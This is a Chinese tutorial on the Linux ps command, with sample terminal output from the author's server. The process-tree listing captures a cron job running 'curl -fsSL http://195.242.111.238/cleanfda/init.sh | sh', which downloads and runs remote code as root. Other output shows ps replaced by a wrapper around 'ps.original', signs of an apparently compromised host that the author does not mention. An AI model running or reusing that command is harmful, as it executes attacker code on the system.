赞
踩
ps(Process Status)是linux的进程管理命令,但是只是执行ps命令这一个瞬间(快照)的进程状态。 说到Linux进程,就需要细说一下5种进程状态,如下表格:
ps支持UNIX(参数前有一个 -,比如 -pcpu)、BSD(参数前不能有 -,比如 au)、GUN(参数前两个 -,比如 --sort)三种风格,如下:
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps au --sort -pcpu
- USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
- root 575 0.0 0.0 110088 132 ttyS0 Ss+ Jan21 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
- root 1306 0.0 0.0 115436 448 tty1 Ss+ Jan21 0:00 -bash
- root 2884 0.0 0.1 115440 2040 pts/0 Ss 13:27 0:00 -bash
- root 8264 0.0 0.0 113176 1176 pts/0 S+ 13:30 0:00 /bin/bash /usr/bin/ps au --sort -pcpu
- root 8265 0.0 0.1 155320 1852 pts/0 R+ 13:30 0:00 ps.original au --sort -pcpu
- root 8266 0.0 0.0 113176 188 pts/0 R+ 13:30 0:00 /bin/bash /usr/bin/ps au --sort -pcp
[root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps au --sort -pcpu USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 575 0.0 0.0 110088 132 ttyS0 Ss+ Jan21 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220 root 1306 0.0 0.0 115436 448 tty1 Ss+ Jan21 0:00 -bash root 2884 0.0 0.1 115440 2040 pts/0 Ss 13:27 0:00 -bash root 8264 0.0 0.0 113176 1176 pts/0 S+ 13:30 0:00 /bin/bash /usr/bin/ps au --sort -pcpu root 8265 0.0 0.1 155320 1852 pts/0 R+ 13:30 0:00 ps.original au --sort -pcpu root 8266 0.0 0.0 113176 188 pts/0 R+ 13:30 0:00 /bin/bash /usr/bin/ps au --sort -pcp |
kevin.li@kevindeMacBook-Pro ~ % ps --help ps: illegal option -- - usage: ps [-AaCcEefhjlMmrSTvwXx] [-O fmt | -o fmt] [-G gid[,gid...]] [-g grp[,grp...]] [-u [uid,uid...]] [-p pid[,pid...]] [-t tty[,tty...]] [-U user[,user...]] ps [-L] |
命令参数:
a 显示所有进程
-a 显示同一终端下的所有程序
-A 显示所有进程
c 显示进程的真实名称
-N 反向选择
-e 等于“-A”
e 显示环境变量
f 显示程序间的关系
-H 显示树状结构
r 显示当前终端的进程
T 显示当前终端的所有程序
u 指定用户的所有进程
-au 显示较详细的资讯
-aux 显示所有包含其他使用者的行程
-C<命令> 列出指定命令的状况
--lines<行数> 每页显示的行数
--width<字符数> 每页显示的字符数
--help 显示帮助信息
--version 显示版本显示
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -a
- PID TTY TIME CMD
- 19371 pts/0 00:00:00 ps
- 19372 pts/0 00:00:00 ps.original
- 19373 pts/0 00:00:00 ps
ps命令不带参数默认显示的字段信息说明:
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps
- PID TTY TIME CMD
- 16110 pts/0 00:00:00 bash
- 17203 pts/0 00:00:00 ps
- 17204 pts/0 00:00:00 ps.original
- 17205 pts/0 00:00:00 ps
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps a
- PID TTY STAT TIME COMMAND
- 575 ttyS0 Ss+ 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
- 1306 tty1 Ss+ 0:00 -bash
- 16110 pts/0 Ss 0:00 -bash
- 16128 pts/0 S+ 0:00 /bin/bash /usr/bin/ps a
- 16129 pts/0 R+ 0:00 ps.original a
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -a
- PID TTY TIME CMD
- 19371 pts/0 00:00:00 ps
- 19372 pts/0 00:00:00 ps.original
- 19373 pts/0 00:00:00 ps
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -A
- PID TTY TIME CMD
- 1 ? 00:04:20 systemd
- 2 ? 00:00:01 kthreadd
- 3 ? 00:06:43 ksoftirqd/0
- 5 ? 00:00:00 kworker/0:0H
- 7 ? 00:06:21 migration/0
- 8 ? 00:00:00 rcu_bh
- 9 ? 00:11:36 rcu_sched
- 。。。。。。。。。。。。。。。。。。。。。省略
其中增加的ps a命令行增加 STATE,COMMOND分别为:
常用命令将 ef 进行结合,显示环境变量和程序间的关系; 经常结合 grep过滤,查询启动的运行的程序是否已经启动,ps -ef | grep redis(查看刚运行的redis程序是否启动)
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -ef
- UID PID PPID C STIME TTY TIME CMD
- root 2 0 0 Jan21 ? 00:00:01 [kthreadd]
- root 3 2 0 Jan21 ? 00:06:43 [ksoftirqd/0]
- root 5 2 0 Jan21 ? 00:00:00 [kworker/0:0H]
- 。。。。。。。。。。。。。。。。。。。。。。。省略
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -ef| grep redis
- root 11162 11130 0 Jan25 ? 00:00:00 runsv redis
- root 11172 11162 0 Jan25 ? 00:00:00 svlogd -tt /var/log/gitlab/redis
- root 12910 11130 0 Jan25 ? 00:00:00 runsv redis-exporter
- root 12929 12910 0 Jan25 ? 00:00:00 svlogd -tt /var/log/gitlab/redis-exporter
- root 21627 1 0 Feb07 ? 00:03:11 ./redis-server *:6379
- root 30448 16110 0 22:25 pts/0 00:00:00 grep --color=auto redis
其中 PPID、C、STIME含义分别是:
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -aux
- USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
- root 1 0.0 0.1 199112 3044 ? Ss Jan21 4:21 /usr/lib/systemd/systemd --system --deserialize 16
- root 2 0.0 0.0 0 0 ? S Jan21 0:01 [kthreadd]
- root 3 0.0 0.0 0 0 ? S Jan21 6:43 [ksoftirqd/0]
- root 5 0.0 0.0 0 0 ? S< Jan21 0:00 [kworker/0:0H]
- 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 省略
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -ax |grep redis
- 10117 pts/0 S+ 0:00 grep --color=auto redis
- 11162 ? Ss 0:00 runsv redis
- 11172 ? S 0:00 svlogd -tt /var/log/gitlab/redis
- 12910 ? Ss 0:00 runsv redis-exporter
- 12929 ? S 0:00 svlogd -tt /var/log/gitlab/redis-exporter
- 21627 ? Ssl 3:15 ./redis-server *:6379
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -aux| grep redis
- root 10850 0.0 0.0 112704 972 pts/0 S+ 00:42 0:00 grep --color=auto redis
- root 11162 0.0 0.0 4228 80 ? Ss Jan25 0:00 runsv redis
- root 11172 0.0 0.0 4372 96 ? S Jan25 0:00 svlogd -tt /var/log/gitlab/redis
- root 12910 0.0 0.0 4228 128 ? Ss Jan25 0:00 runsv redis-exporter
- root 12929 0.0 0.0 4372 164 ? S Jan25 0:00 svlogd -tt /var/log/gitlab/redis-exporter
- root 21627 0.0 0.1 169356 2876 ? Ssl Feb07 3:15 ./redis-server *:6379
其中 %CPU、%MEM、VSZ、RSS、START分别是:
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -u |grep root
- root 575 0.0 0.0 110088 132 ttyS0 Ss+ Jan21 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
- root 1306 0.0 0.0 115436 448 tty1 Ss+ Jan21 0:00 -bash
- root 16490 8.3 0.1 115440 2032 pts/0 Ss 01:02 0:00 -bash
- root 16512 0.0 0.0 113176 1180 pts/0 S+ 01:02 0:00 /bin/bash /usr/bin/ps -u
- root 16513 0.0 0.0 112704 972 pts/0 S+ 01:02 0:00 grep --color=auto root
- root 16514 0.0 0.1 155324 1860 pts/0 R+ 01:02 0:00 ps.original -u
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -u root
- PID TTY TIME CMD
- 1 ? 00:04:21 systemd
- 2 ? 00:00:01 kthreadd
- 3 ? 00:06:43 ksoftirqd/0
- 5 ? 00:00:00 kworker/0:0H
过滤线程可以使用该命令,但是需要查询线程号,一般会使用如: netstat -anp| grep redis
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# netstat -anp|grep redis
- tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 21627/./redis-serve
- tcp 0 0 172.21.205.54:6379 58.221.57.233:56814 ESTABLISHED 21627/./redis-serve
- tcp 0 0 172.21.205.54:6379 14.215.49.111:51059 ESTABLISHED 21627/./redis-serve
- tcp 0 0 172.21.205.54:6379 222.184.112.192:56975 ESTABLISHED 21627/./redis-serve
- tcp6 0 0 :::6379 :::* LISTEN 21627/./redis-serve
-
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -L 21627
- PID LWP TTY STAT TIME COMMAND
- 21627 21627 ? Ssl 3:16 ./redis-server *:6379
- 21627 21628 ? Ssl 0:00 ./redis-server *:6379
- 21627 21629 ? Ssl 0:00 ./redis-server *:6379
- 21627 21630 ? Ssl 0:00 ./redis-server *:6379
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# pstree
- systemd-+-AliSecGuard---6*[{AliSecGuard}]
- |-AliYunDun---23*[{AliYunDun}]
- |-AliYunDunUpdate---5*[{AliYunDunUpdate}]
- |-agetty
- |-assist_daemon---7*[{assist_daemon}]
- |-atd
- |-auditd---{auditd}
- |-crond---crond-+-sendmail
- |-dbus-daemon
- |-dhclient
- |-login---bash
- |-mysqld---185*[{mysqld}]
- |-redis-server---3*[{redis-server}]
- |-rsyslogd---2*[{rsyslogd}]
- |-runsvdir---15*[runsv---svlogd]
- |-sshd---sshd---bash---pstree-+-grep
- | `-pstree.original
- |-systemd-journal
- |-systemd-logind
- |-systemd-udevd
- |-tuned---4*[{tuned}]
- `-{systemd}
-
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -axjf
- PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND
- 0 2 0 0 ? -1 S 0 0:01 [kthreadd]
- 1 10047 10047 10047 ? -1 Ss 0 0:06 /usr/sbin/crond -n
- 10047 22394 10047 10047 ? -1 S 0 0:00 \_ /usr/sbin/CROND -n
- 22394 22399 22399 22399 ? -1 Ss 0 0:00 \_ /bin/sh -c curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
- 22399 22401 22399 22399 ? -1 S 0 0:00 | \_ sh
- 22401 26813 22399 22399 ? -1 S 0 0:00 | \_ bash
- 26813 28118 22399 22399 ? -1 S 0 0:23 | \_ bash
- 22394 22427 10047 10047 ? -1 Z 0 0:00 \_ [sendmail] <defunct>
- 1 10119 10119 10119 ? -1 S<sl 0 0:46 /sbin/auditd
- 1 10381 10381 10381 ? -1 Ss 0 0:00 /usr/sbin/sshd -D
- 10381 16487 16487 16487 ? -1 Ss 0 0:00 \_ sshd: root@pts/0
- 16487 16490 16490 16490 pts/0 32430 Ss 0 0:00 \_ -bash
- 16490 32430 32430 16490 pts/0 32430 S+ 0 0:00 \_ /bin/bash /usr/bin/ps -axjf
- 32430 32431 32430 16490 pts/0 32430 R+ 0 0:00 \_ ps.original -axjf
- 32430 32432 32430 16490 pts/0 32430 R+ 0 0:00 \_ /bin/bash /usr/bin/ps -axjf
ps -eo pid,user,args 还可以增加的可选项有(args, cmd, comm, command, fname, ucmd, ucomm, lstart, bsdstart 和 start)
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -eo pid,user,args
- PID USER COMMAND
- 1 root /usr/lib/systemd/systemd --system --deserialize 16
- 。。。。。。。。。。。。。。。。。。。 省略
- 17789 root /usr/local/share/assist-daemon/assist_daemon
- 18243 mysql /usr/sbin/mysqld
- 21627 root ./redis-server *:6379
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -aux --sort -pmem,-pcpu
- USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
- mysql 18243 0.1 26.7 1953020 475472 ? Ssl Jan27 26:41 /usr/sbin/mysqld
- root 1206 3.6 1.6 152080 29956 ? R<sl Jan21 1135:18 /usr/local/aegis/aegis_client/aegis_11_17/AliYunDun
- root 333 0.0 1.0 182316 18440 ? Ss Jan21 1:15 /usr/lib/systemd/systemd-journald
- root 818 0.0 0.6 573884 11120 ? Ssl Jan21 3:11 /usr/bin/python -Es /usr/sbin/tuned -l -P
由于ps命令只能查询执行ps命令瞬间(快照)时的样子,所有如果想查看实时的状态可以使用 top命令。想实现相同的效果可以结合 watch命令,定时刷新:
watch -n 3 'ps -aux -u root --sort -pmem,-pcpu'
- Every 1.0s: ps -ax --sort -pmem,-pcpu Sat Feb 12 01:37:37 2022
-
- PID TTY STAT TIME COMMAND
- 18243 ? Ssl 26:42 /usr/sbin/mysqld
- 1206 ? R<sl 1135:36 /usr/local/aegis/aegis_client/aegis_11_17/AliYunDun
- 333 ? Ss 1:15 /usr/lib/systemd/systemd-journald
- 818 ? Ssl 3:11 /usr/bin/python -Es /usr/sbin/tuned -l -P
- ............................... 省略
当执行ps 或者ps -ef| grep redis等时,可以知道PID即可进行过滤,其中 bash是名称
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -C bash
- PID TTY TIME CMD
- 1306 tty1 00:00:00 bash
- 16490 pts/0 00:00:00 bash
- 26813 ? 00:00:00 bash
- 28118 ? 00:00:23 bash
-
-
- [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -f -C bash
- UID PID PPID C STIME TTY TIME CMD
- root 1306 576 0 Jan21 tty1 00:00:00 -bash
- root 16490 16487 0 01:02 pts/0 00:00:00 -bash
- root 26813 22401 0 Feb07 ? 00:00:00 bash
- root 28118 26813 0 Feb07 ? 00:00:23 bash
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。